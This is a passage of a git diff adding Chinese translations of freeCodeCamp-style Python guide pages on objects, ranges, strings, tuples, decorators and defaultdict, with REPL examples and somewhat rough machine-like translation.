+ [__bool__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__'] 
+ >>> issubclass(type(None), object) 
+ True 
+```
+
+接下来，让我们检查一下`True` 。
+
+```python
+>>> id(True) 
+ 4550117616 
+ >>> type(True) 
+ <class 'bool'> 
+ >>> dir(True) 
+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(True), object) 
+ True 
+```
+
+没理由遗漏`False` ！
+
+```python
+>>> id(False) 
+ 4550117584 
+ >>> type(False) 
+ <class 'bool'> 
+ >>> dir(False) 
+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(False), object) 
+ True 
+```
+
+_字符串_ ，即使通过字符串文字创建的，也是_对象_ 。
+
+```python
+>>> id("Hello campers!") 
+ 4570186864 
+ >>> type('Hello campers!') 
+ <class 'str'> 
+ >>> dir("Hello campers!") 
+ ['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill'] 
+ >>> issubclass(type('Hello campers!'), object) 
+ True 
+```
+
+与_数字_相同
+
+```python
+>>> id(42) 
+ 4550495728 
+ >>> type(42) 
+ <class 'int'> 
+ >>> dir(42) 
+ ['__abs__', '__add__', '__and__', '__bool__', '__ceil__', '__class__', '__delattr__', '__dir__', '__divmod__', '__doc__', '__eq__', '__float__', '__floor__', '__floordiv__', '__format__', '__ge__', '__getattribute__', '__getnewargs__', '__gt__', '__hash__', '__index__', '__init__', '__int__', '__invert__', '__le__', '__lshift__', '__lt__', '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'from_bytes', 'imag', 'numerator', 'real', 'to_bytes'] 
+ >>> issubclass(type(42), object) 
+ True 
+```
+
+## 功能也是对象
+
+> 在Python中，函数是第一类对象。
+
+Python中的_函数_也是使用_标识_ ， _类型_和_值_创建的_对象_ 。它们也可以传递给其他_函数_ ：
+
+```python
+>>> id(dir) 
+ 4568035688 
+ >>> type(dir) 
+ <class 'builtin_function_or_method'> 
+ >>> dir(dir) 
+ ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] 
+ >>> issubclass(type(dir), object) 
+ True 
+```
+
+也可以将函数绑定到名称，并使用该名称调用绑定函数：
+
+```python
+>>> a = dir 
+ >>> print(a) 
+ <built-in function dir> 
+ >>> a(a) 
+ ['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__'] 
+```
+
+资源：
+
+*   [点击这里](https://www.jeffknupp.com/blog/2014/06/18/improve-your-python-python-classes-and-object-oriented-programming/)了解更多信息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/ranges/index.md b/client/src/guide/chinese/python/data-structures/ranges/index.md
new file mode 100644
index 0000000000..7610b0b8ae
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/ranges/index.md
@@ -0,0 +1,87 @@
+---
+title: The Python Range
+localeTitle: Python范围
+---
+## Python范围
+
+范围实际上是[不可变的序列类型](https://docs.python.org/3/library/stdtypes.html#immutable-sequence-types) ，而不是函数，通常用于在for循环中循环特定次数。
+
+**创建：**
+
+`ranges`是使用`range`构造函数创建的。构造函数的参数是：
+
+*   `start` ：包含范围的第一个值（可选整数，默认为0）。
+*   `stop` ：独占停止值，当提供此值或更大值时，范围停止（必需整数）。
+*   `step` ：添加到当前值以获取下一个值的量（可选整数，默认为1）。
+
+```python
+>>> range(10)          # Only the stop parameter is required. 
+ range(0, 10) 
+ >>> range(0, 10)       # Default for start parameter is 0. 
+ range(0, 10) 
+ >>> range(0, 10, 1)    # Default for step is 1\. Start parameter is required if 
+ step is needed. 
+ range(0, 10) 
+```
+
+**例子：**
+
+由于`ranges`是可迭代的，因此可以将它们传递给`list`和`tuple`构造函数以创建这些类型的序列。使用这个事实，我们可以想象一些例子：
+
+```python
+>>> list(range(10))     # range as argument for list constructor. 
+ [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] 
+ >>> tuple(range(10))    # range as argument for tuple constructor. 
+ (0, 1, 2, 3, 4, 5, 6, 7, 8, 9) 
+```
+
+零长度`ranges` ：
+
+```python
+>>> list(range(10, 0))        # start greater than stop with postive step. 
+ [] 
+ >>> list(range(10, 10))       # start equal to stop with postive step. 
+ [] 
+ >>> list(range(10, 10, -1))   # start equal to stop with negative step. 
+ [] 
+ >>> list(range(0, 10, -1))    # start less than stop with negative step. 
+ [] 
+```
+
+带步长参数的`ranges` ：
+
+```python
+>>> list(range(0, 10, 2))       # next value would be 10, stops at 8. 
+ [0, 2, 4, 6, 8] 
+ >>> list(range(0, 10, 3))       # next value would be 12, stops at 9. 
+ [0, 3, 6, 9] 
+ >>> list(range(0, 10, 4))       # next value would be 12, stops at 8. 
+ [0, 4, 8] 
+ >>> list(range(10, 0, -1))      # negative step makes decreasing ranges. 
+ [10, 9, 8, 7, 6, 5, 4, 3, 2, 1] 
+ >>> list(range(-5, -30, -3))    # negative integers are valid arguments. 
+ [-5, -8, -11, -14, -17, -20, -23, -26, -29] 
+```
+
+**优点：**
+
+使用`range`的好处是，无论指定的范围有多大，只需要少量内存来存储`range` ，即start，stop和step的值。在迭代时计算`ranges`的各个值。
+
+```python
+>>> import sys 
+ >>> a_range = range(1000000) 
+ >>> a_list = list(a_range) 
+ >>> a_tuple = tuple(a_range) 
+ >>> sys.getsizeof(a_range) 
+ 48 
+ >>> sys.getsizeof(a_list) 
+ 9000112 
+ >>> sys.getsizeof(a_tuple) 
+ 8000048 
+```
+
+### 更多信息：
+
+[Python Doc - Ranges](https://docs.python.org/3/library/stdtypes.html#ranges)
+
+**TODO：方法`ranges`是否实现**
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/scopes/index.md b/client/src/guide/chinese/python/data-structures/scopes/index.md
new file mode 100644
index 0000000000..ac26060100
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/scopes/index.md
@@ -0,0 +1,13 @@
+---
+title: The Python Scopes
+localeTitle: Python范围
+---
+**TODO：注意**
+
+*   这属于代码块和缩进信息附近。
+*   这也与变量有关，因为名称查找和绑定与范围有关。
+
+**TODO：内容**
+
+*   `global`
+*   `nonlocal`
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/strings/index.md b/client/src/guide/chinese/python/data-structures/strings/index.md
new file mode 100644
index 0000000000..c2038f167e
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/strings/index.md
@@ -0,0 +1,36 @@
+---
+title: The Python Strings
+localeTitle: Python字符串
+---
+Python允许`str`对象或_字符串_以几种不同的方式表达：
+
+*   单引号： `'Single quote strings can have "double" quotes inside.'`
+    
+*   双引号： `"Double quote strings can have 'single' quotes inside."`
+    
+*   三重引用：
+    
+    ```
+    """Triple quoted strings can span multiple lines. 
+     Unescaped "double" and 'single' quotes in triple quoted strings are retained.""" 
+     
+     '''Triple quoted strings can be 'single'or "double" quotes. 
+     Unescaped newlines are also retained.''' 
+    
+    ```
+    
+*   不可变：创建后不能直接编辑/更改Python字符串。例如，如果您尝试直接重新分配/更改字符串中的第一个字母，则会引发错误。
+    
+    ```
+    >>> foo = "my string" 
+     >>> foo[0] = "a" 
+     Traceback (most recent call last): 
+            File "<stdin>", line 1, in <module> 
+     TypeError: 'str' object does not support item assignment 
+    
+    ```
+    
+
+## 参考：
+
+[文本序列类型_str_](https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/tuples/index.md b/client/src/guide/chinese/python/data-structures/tuples/index.md
new file mode 100644
index 0000000000..c7605d0c1f
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/tuples/index.md
@@ -0,0 +1,196 @@
+---
+title: The Tuples
+localeTitle: 元组
+---
+## 元组
+
+元组是一系列Python对象。元组是不可变的，这意味着它们在创建后不能被修改，这与列表不同。
+
+**创建：**
+
+使用一对圆括号`()`创建一个空`tuple` ：
+
+```shell
+    >>> empty_tuple = () 
+    >>> print(empty_tuple) 
+    () 
+    >>> type(empty_tuple) 
+    <class 'tuple'> 
+    >>> len(empty_tuple) 
+    0 
+```
+
+通过用逗号分隔元素来创建带元素的`tuple` （围绕圆括号， `()` ，可选，但有例外）：
+
+```shell
+    >>> tuple_1 = 1, 2, 3       # Create tuple without round brackets. 
+    >>> print(tuple_1) 
+    (1, 2, 3) 
+    >>> type(tuple_1) 
+    <class 'tuple'> 
+    >>> len(tuple_1) 
+    3 
+    >>> tuple_2 = (1, 2, 3)     # Create tuple with round brackets. 
+    >>> print(tuple_2) 
+    (1, 2, 3) 
+    >>> tuple_3 = 1, 2, 3,      # Trailing comma is optional. 
+    >>> print(tuple_3) 
+    (1, 2, 3) 
+    >>> tuple_4 = (1, 2, 3,)    # Trailing comma in round brackets is also optional. 
+    >>> print(tuple_4) 
+    (1, 2, 3) 
+```
+
+具有单个元素的`tuple`必须具有尾随逗号（带或不带圆括号）：
+
+```shell
+    >>> not_tuple = (2)    # No trailing comma makes this not a tuple. 
+    >>> print(not_tuple) 
+    2 
+    >>> type(not_tuple) 
+    <class 'int'> 
+    >>> a_tuple = (2,)     # Single element tuple. Requires trailing comma. 
+    >>> print(a_tuple) 
+    (2,) 
+    >>> type(a_tuple) 
+    <class 'tuple'> 
+    >>> len(a_tuple) 
+    1 
+    >>> also_tuple = 2,    # Round brackets omitted. Requires trailing comma. 
+    >>> print(also_tuple) 
+    (2,) 
+    >>> type(also_tuple) 
+    <class 'tuple'> 
+```
+
+在歧义的情况下需要圆括号（如果元组是更大表达式的一部分）：
+
+> 请注意，它实际上是一个逗号，它产生一个元组，而不是括号。括号是可选的，除了空元组情况，或者需要它们以避免语法歧义。例如， `f(a, b, c)`是具有三个参数的函数调用，而`f((a, b, c))`是以3元组作为唯一参数的函数调用。
+
+```shell
+    >>> print(1,2,3,4,)          # Calls print with 4 arguments: 1, 2, 3, and 4 
+    1 2 3 4 
+    >>> print((1,2,3,4,))        # Calls print with 1 argument: (1, 2, 3, 4,) 
+    (1, 2, 3, 4) 
+    >>> 1, 2, 3 == (1, 2, 3)     # Equivalent to 1, 2, (3 == (1, 2, 3)) 
+    (1, 2, False) 
+    >>> (1, 2, 3) == (1, 2, 3)   # Use surrounding round brackets when ambiguous. 
+    True 
+```
+
+一个`tuple`也可以与创建的`tuple`的构造函数：
+
+```shell
+    >>> empty_tuple = tuple() 
+    >>> print(empty_tuple) 
+    () 
+    >>> tuple_from_list = tuple([1,2,3,4]) 
+    >>> print(tuple_from_list) 
+    (1, 2, 3, 4) 
+    >>> tuple_from_string = tuple("Hello campers!") 
+    >>> print(tuple_from_string) 
+    ('H', 'e', 'l', 'l', 'o', ' ', 'c', 'a', 'm', 'p', 'e', 'r', 's', '!') 
+    >>> a_tuple = 1, 2, 3 
+    >>> b_tuple = tuple(a_tuple)    # If the constructor is called with a tuple for 
+    the iterable, 
+    >>> a_tuple is b_tuple          # the tuple argument is returned. 
+    True 
+```
+
+**访问`tuple`元素：**
+
+访问`tuples`元素并以与`lists`相同的方式编制索引。
+
+```shell
+    >>> my_tuple = 1, 2, 9, 16, 25 
+    >>> print(my_tuple) 
+    (1, 2, 9, 16, 25) 
+```
+
+_零索引_
+
+```shell
+    >>> my_tuple[0] 
+    1 
+    >>> my_tuple[1] 
+    2 
+    >>> my_tuple[2] 
+    9 
+```
+
+_包裹索引_
+
+```shell
+    >>> my_tuple[-1] 
+    25 
+    >>> my_tuple[-2] 
+    16 
+```
+
+**包装和拆包：**
+
+声明`t = 12345, 54321, 'hello!'`是元组封装的一个例子：值`12345` ， `54321`和`'hello!'`在元组中包装在一起。反向操作也是可能的：
+
+```shell
+    >>> x, y, z = t 
+```
+
+这足够恰当地称为序列解包，适用于右侧的任何序列。序列解包需要在等号左侧有尽可能多的变量，因为序列中有元素。请注意，多重赋值实际上只是元组打包和序列解包的组合。
+
+```shell
+    >>> t = 1, 2, 3    # Tuple packing. 
+    >>> print(t) 
+    (1, 2, 3) 
+    >>> a, b, c = t    # Sequence unpacking. 
+    >>> print(a) 
+    1 
+    >>> print(b) 
+    2 
+    >>> print(c) 
+    3 
+    >>> d, e, f = 4, 5, 6    # Multiple assignment combines packing and unpacking. 
+    >>> print(d) 
+    4 
+    >>> print(e) 
+    5 
+    >>> print(f) 
+    6 
+    >>> a, b = 1, 2, 3       # Multiple assignment requires each variable (right) 
+    have a matching element (left). 
+    Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+    ValueError: too many values to unpack (expected 2) 
+```
+
+**一成不变的：**
+
+`tuples`是不可变的容器，保证**其**对象它们含有不会改变。它并**不能**保证它们包含的对象不会改变：
+
+```shell
+    >>> a_list = [] 
+    >>> a_tuple = (a_list,)    # A tuple (immutable) with a list (mutable) element. 
+    >>> print(a_tuple) 
+    ([],) 
+ 
+    >>> a_list.append("Hello campers!") 
+    >>> print(a_tuple)         # Element of the immutable is mutated. 
+    (['Hello campers!'],) 
+```
+
+**用途：**
+
+函数只能返回单个值，但是，异构`tuple`可用于从函数返回多个值。一个例子是内置的`enumerate`函数，它返回一个可迭代的异构`tuples` ：
+
+```shell
+    >>> greeting = ["Hello", "campers!"] 
+    >>> enumerator = enumerate(greeting) 
+    >>> enumerator.next() 
+    >>> enumerator.__next__() 
+    (0, 'Hello') 
+    >>> enumerator.__next__() 
+    (1, 'campers!') 
+```
+
+### 更多信息：
+
+[Python文档 - 元组](https://docs.python.org/3/library/stdtypes.html#tuples)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/decorators/index.md b/client/src/guide/chinese/python/decorators/index.md
new file mode 100644
index 0000000000..fce2bfb29d
--- /dev/null
+++ b/client/src/guide/chinese/python/decorators/index.md
@@ -0,0 +1,263 @@
+---
+title: Python Decorators
+localeTitle: Python装饰器
+---
+装饰器基本上用作包装器。它们在目标函数执行之前和之后修改代码的行为，而无需修改函数本身，增加原始功能，从而对其进行修饰。
+
+在详细介绍装饰器之前，有一些概念应该是清楚的。在Python中，函数是对象，我们可以用它们做很多有用的东西。
+
+> ### 为变量分配功能：
+```
+def greet(name): 
+  return "Hello "+name 
+ greet_someone = greet 
+ print greet_someone("John") 
+```
+
+> 输出：你好约翰
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXGk)
+
+> ### 在其他函数中定义函数：
+```
+def greet(name): 
+  def get_message(): 
+    return "Hello " 
+  result = get_message()+name 
+  return result 
+ print(greet("John")) 
+```
+
+> 输出：你好约翰
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXGu)
+
+> ### 函数也可以作为参数传递给其他函数：
+```
+def greet(name): 
+  return "Hello " + name 
+ def call_func(func): 
+  other_name = "John" 
+  return func(other_name) 
+ print call_func(greet) 
+```
+
+> 输出：你好约翰
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXHC)
+
+> ### 函数可以返回其他函数：
+> 
+> 换句话说，函数生成其他函数。
+```
+def compose_greet_func(): 
+  def get_message(): 
+    return "Hello there!" 
+  return get_message 
+ greet = compose_greet_func() 
+ print(greet()) 
+```
+
+输出：你好！
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXHG)
+
+> ### 内部函数可以访问封闭范围
+> 
+> 通常称为[闭合](http://www.shutupandship.com/2012/01/python-closures-explained.html) 。我们在构建装饰器时会遇到的一个非常强大的模式。另外需要注意的是，Python只允许[对外部作用域](http://www.tech-thoughts-blog.com/2013/07/writing-closure-in-python.html)进行[读访问](http://www.tech-thoughts-blog.com/2013/07/writing-closure-in-python.html)而不进行赋值。注意我们如何修改上面的例子来从内部函数的封闭范围中读取“name”参数并返回新函数。
+```
+def compose_greet_func(name): 
+  def get_message(): 
+      return "Hello there "+name+"!" 
+  return get_message 
+ greet = compose_greet_func("John") 
+ print(greet()) 
+```
+
+> 输出：你好约翰！
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXHI)
+
+## 装饰的组成
+
+函数装饰器只是现有函数的包装器。将上面提到的想法放在一起，我们可以建立一个装饰器。在这个例子中，让我们考虑一个用p标签包装另一个函数的字符串输出的函数。
+```
+def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ my_get_text = p_decorate(get_text) 
+ print (my_get_text("John")) 
+```
+
+> 输出： `<p>` lorem ipsum，John dolor sit amet `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXHL)
+
+那是我们的第一个装饰师。将另一个函数作为参数的函数，生成一个新函数，扩充原始函数的工作，并返回生成的函数，以便我们可以在任何地方使用它。要让`get_text`本身由`p_decorate` ，我们只需要将get _text_分配给_p_ decorate _的结果_ 。
+```
+get_text = p_decorate(get_text) 
+ print (get_text("John")) 
+```
+
+> 输出：lorem ipsum，John dolor坐下来
+
+另一件需要注意的事情是我们的装饰函数采用了名称参数。我们在装饰器中所做的就是让get\_text的包装器传递该参数。
+
+> ### Python的装饰器语法
+
+Python通过一些[语法糖](http://en.wikipedia.org/wiki/Syntactic_sugar)使程序员创建和使用装饰器更清洁和更好。要装饰获取_文本，我们不必得到_ text = p _装饰器（获取_文本）有一个简洁的快捷方式，这就是提到要装饰的函数之前的装饰函数的名称。装饰器的名称应该用@符号进行附加。
+```
+def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ @p_decorate 
+ def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ print get_text("John") 
+```
+
+> 输出： `<p>` lorem ipsum，John dolor sit amet `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXHN)
+
+现在让我们考虑我们想用2个其他函数来装饰我们的get\_text函数，以在字符串输出周围包装div和strong标签。
+```
+def p_decorate(func): 
+   def func_wrapper(name): 
+       return "`<p>`{0}`</p>`".format(func(name)) 
+   return func_wrapper 
+ 
+ def strong_decorate(func): 
+    def func_wrapper(name): 
+        return "`<strong>`{0}`</strong>`".format(func(name)) 
+    return func_wrapper 
+ 
+ def div_decorate(func): 
+    def func_wrapper(name): 
+        return "`<div>`{0}`</div>`".format(func(name)) 
+    return func_wrapper 
+```
+
+使用基本方法，装饰get\_text将符合
+```
+get_text = div_decorate(p_decorate(strong_decorate(get_text))) 
+```
+
+使用Python的装饰器语法，可以通过更具表现力的功能实现同样的功能。
+```
+@div_decorate 
+ @p_decorate 
+ @strong_decorate 
+ def get_text(name): 
+   return "lorem ipsum, {0} dolor sit amet".format(name) 
+ 
+ print (get_text("John")) 
+```
+
+> 输出： `<div><p><strong>` lorem ipsum，John dolor sit amet `</strong></p></div>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXHQ)
+
+这里需要注意的一件重要事情是设置装饰器的顺序很重要。如果上面的示例中的顺序不同，则输出会有所不同。 ##装饰方法在Python中，方法是期望它们的第一个参数是对当前对象的引用的函数。我们可以以相同的方式为方法构建装饰器，同时在包装器函数中考虑自我。
+```
+def p_decorate(func): 
+  def func_wrapper(self): 
+    return "`<p>`{0}`</p>`".format(func(self)) 
+  return func_wrapper 
+ 
+ class Person(object): 
+  def __init__(self): 
+    self.name = "John" 
+    self.family = "Doe" 
+  @p_decorate 
+  def get_fullname(self): 
+    return self.name+" "+self.family 
+ 
+ my_person = Person() 
+ print (my_person.get_fullname()) 
+```
+
+> 输出： `<p>` John Doe `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXH2)
+
+一个更好的方法是使我们的装饰器对函数和方法都很有用。这可以通过将[\* args和\*\* kwargs](http://docs.python.org/2/tutorial/controlflow.html#arbitrary-argument-lists)作为包装器的参数来完成，然后它可以接受任意数量的参数和关键字参数。
+```
+def p_decorate(func): 
+   def func_wrapper(*args, **kwargs): 
+       return "`<p>`{0}`</p>`".format(func(*args, **kwargs)) 
+   return func_wrapper 
+ 
+ class Person(object): 
+    def __init__(self): 
+        self.name = "John" 
+        self.family = "Doe" 
+    @p_decorate 
+    def get_fullname(self): 
+        return self.name+" "+self.family 
+ 
+ my_person = Person() 
+ print (my_person.get_fullname()) 
+```
+
+> 输出： `<p>` John Doe `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXH5)
+
+### 将参数传递给装饰器回顾上面的示例之前的示例，您可以注意到示例中装饰器的冗余程度。 3个装饰器（div _decorate，p_ decorate，strong\_decorate），每个装饰具有相同的功能，但用不同的标签包装字符串。我们绝对可以做得更好。为什么没有一个更通用的实现，以使标记作为字符串包装？是的，请！
+```
+def tags(tag_name): 
+    def tags_decorator(func): 
+        def func_wrapper(name): 
+            return "<{0}>{1}</{0}>".format(tag_name, func(name)) 
+        return func_wrapper 
+    return tags_decorator 
+ 
+ @tags("p") 
+ def get_text(name): 
+    return "Hello "+name 
+ 
+ print (get_text("John")) 
+```
+
+> 输出： `<p>` Hello John `</p>`
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXH6)
+
+在这种情况下需要做更多的工作。装饰器期望接收函数作为参数，这就是为什么我们必须构建一个函数来获取那些额外的参数并动态生成装饰器。在上面的示例标签中，是我们的装饰器生成器。调试修饰函数在一天结束时，装饰器只是包装我们的函数，如果调试可能会有问题，因为包装函数不包含原始函数的名称，模块和文档字符串。基于上面的例子，如果我们这样做：
+```
+print (get_text.__name__) 
+```
+
+> 输出：func _包装器输出应该是获取_文本， _get_文件的属性**名称** ， **doc**和**模块** _被包装器（func_包装器） _覆盖_ 。显然我们可以在func\_wrapper中重新设置它们但是Python提供了很多更好的方式。### Functools救援
+```
+from functools import wraps 
+ def tags(tag_name): 
+    def tags_decorator(func): 
+        @wraps(func) 
+        def func_wrapper(name): 
+            return "`<{0}>`{1}`</{0}>`".format(tag_name, func(name)) 
+        return func_wrapper 
+    return tags_decorator 
+ 
+ @tags("p") 
+ def get_text(name): 
+    """returns some text""" 
+    return "Hello "+name 
+ 
+ print (get_text.__name__) # get_text 
+ print (get_text.__doc__) # returns some text 
+ print (get_text.__module__) # __main__ 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CXHb)
+
+您可以从输出中注意到get\_text的属性现在是正确的。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/defaultdict/index.md b/client/src/guide/chinese/python/defaultdict/index.md
new file mode 100644
index 0000000000..7c1d957a4f
--- /dev/null
+++ b/client/src/guide/chinese/python/defaultdict/index.md
@@ -0,0 +1,137 @@
+---
+title: Python defaultdict
+localeTitle: Python defaultdict
+---
+## Python defaultdict
+
+Dictionary是Python中最常用的数据结构之一。 字典是无序的项集合，我们通常将字符和值存储在字典中。 让我们看一下通常如何使用字典的几个例子。
+
+```python
+# dictionary declaration 1 
+ dict1 = dict() 
+ 
+ # dictionary declaration 2 
+ dict2 = {} 
+ 
+ # Add items to the dictionary 
+ # The syntax to add and retrieve items is same for either of the two objects we defined above. 
+ key = "X" 
+ value = "Y" 
+ dict1[key] = value 
+ 
+ # The dictionary doesn't have any specific data-type. 
+ # So, the values can be pretty diverse. 
+ dict1[key] = dict2 
+```
+
+现在让我们看一些检索方法。
+
+```python
+# Since "X" exists in our dictionary, this will retrieve the value 
+ value = dict1[key] 
+ 
+ # This key doesn't exist in the dictionary. 
+ # So, we will get a `KeyError` 
+ value = dict1["random"] 
+```
+
+### 避免KeyError：使用.get函数
+
+如果字典中不存在给定的键，Python将抛出`KeyError` 。 有一个简单的解决方法。让我们看一下如何使用the来避免`KeyError` 用于字典的内置`.get`函数。
+
+```python
+dict_ = {} 
+ 
+ # Some random key 
+ random_key = "random" 
+ 
+ # The most basic way of doing this is to check if the key 
+ # exists in the dictionary or not and only retrieve if the 
+ # key exists. Otherwise not. 
+ if random_key in dict_: 
+  print(dict_[random_key]) 
+ else: 
+  print("Key = {} doesn't exist in the dictionary".format(dict_)) 
+```
+
+很多时候，当密钥不存在时，我们可以获得默认值。例如，何时 建立一个柜台。有一种更好的方法可以从字典中获取默认值 丢失密钥而不是依赖标准的`if-else` 。
+
+```python
+# Let's say we want to build a frequency counter for items in the following array 
+ arr = [1,2,3,1,2,3,4,1,2,1,4,1,2,3,1] 
+ 
+ freq = {} 
+ 
+ for item in arr: 
+  # Fetch a value of 0 in case the key doesn't exist. Otherwise, fetch the stored value 
+  freq[item] = freq.get(item, 0) + 1 
+```
+
+因此， `get(<key>, <defaultval>)`是一个方便的操作，用于从字典中检索任何给定键的默认值。 当我们想要将可变数据结构作为值（例如`list`或`set`处理时，会出现此方法的问题。
+
+```python
+dict_ = {} 
+ 
+ # Some random key 
+ random_key = "random" 
+ 
+ dict_[random_key] = dict_.get(random_key, []).append("Hello World!") 
+ print(dict_) # {'random': None} 
+ 
+ dict_ = {} 
+ dict_[random_key] = dict_.get(random_key, set()).add("Hello World!") 
+ print(dict_) # {'random': None} 
+```
+
+你看到了问题吗？
+
+新的`set`或`list`不会被分配到字典的密钥。我们应该分配一个新的`list`或一`set` 在缺少值的情况下键，然后分别`append`或`add` 。莱伊看了一个例子。
+
+```python
+dict_ = {} 
+ dict_[random_key] = dict_.get(random_key, set()) 
+ dict_[random_key].add("Hello World!") 
+ print(dict_) # {'random': set(['Hello World!'])}. Yay! 
+```
+
+### 避免KeyError：使用defaultdict
+
